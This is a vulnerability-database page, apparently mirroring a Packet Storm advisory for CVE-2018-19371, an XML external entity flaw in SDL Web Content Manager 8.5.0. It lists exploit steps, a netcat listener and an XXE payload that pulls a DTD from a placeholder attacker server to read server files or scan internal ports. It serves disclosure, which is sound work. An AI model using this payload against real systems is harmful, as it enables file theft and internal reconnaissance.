Lucene search
K

SDL Web Content Manager 8.5.0 XML Injection

🗓️ 18 Dec 2018 00:00:00Reported by Ahmed Elhady MohamedType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 44 Views

SDL Web Content Manager 8.5.0 XXE Vulnerability in SaveUserSettings web service allows XML external entity injection for sensitive file access and internal network port scannin

Related
Code
ReporterTitlePublishedViews
Family
0day.today
SDL Web Content Manager 8.5.0 - XML External Entity Injection Vulnerability
18 Dec 201800:00
zdt
CVE
CVE-2018-19371
2 Jan 201918:00
cve
Cvelist
CVE-2018-19371
2 Jan 201918:00
cvelist
Exploit DB
SDL Web Content Manager 8.5.0 - XML External Entity Injection
18 Dec 201800:00
exploitdb
EUVD
EUVD-2018-11064
7 Oct 202500:30
euvd
exploitpack
SDL Web Content Manager 8.5.0 - XML External Entity Injection
18 Dec 201800:00
exploitpack
NVD
CVE-2018-19371
2 Jan 201918:29
nvd
OSV
CVE-2018-19371
2 Jan 201918:29
osv
Prion
Design/Logic Flaw
2 Jan 201918:29
prion
`######################  
# Author Information #  
######################  
Author : Ahmed Elhady Mohamed  
twitter : @Ahmed__ELhady  
Company : Canon Security  
Date : 25/11/2018  
########################  
# Software Information #  
########################  
Affected Software : SDL Web Content Manager  
Version: Build 8.5.0  
Vendor: SDL Tridion  
Software website : https://www.sdl.com  
CVE Number: CVE-2018-19371  
###############  
# Description #  
###############  
SDL Web Content Manager build 8.5.0 is vulnerable to XXE vulnerability in SaveUserSettings web service. SaveUserSettings web service takes XML values as a parameter. The webservices allows and accepts XML external entity which allows an attacker to read sensitive files from the server. Moreover it can be used to perform network port scanning to internal network.  
#################  
# Exploit Steps #  
#################  
1- Access the application with any user account  
2- it will ask you to choose your language preferences  
3-the application sent a request to SaveUserSettings web service with XML content in the request body.  
4- open a port listener on the attacker server using netcat tool as the following: nc -lvp 80  
5- intercept the request using Burpsuite proxy tool  
6- inject the following payload in the beginning of the XML value.  
<!DOCTYPE cdl [<!ENTITY % asd SYSTEM \"http://attackerServer/xxe1.dtd\">%asd;%c;]>  
<cdl>&rrr;</cdl>  
7- The injected payload allows the server to fetch the xxe1.dtd resource from the hacker server.  
8- send the request to the server.  
9- The application server will connect to the attacker server  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation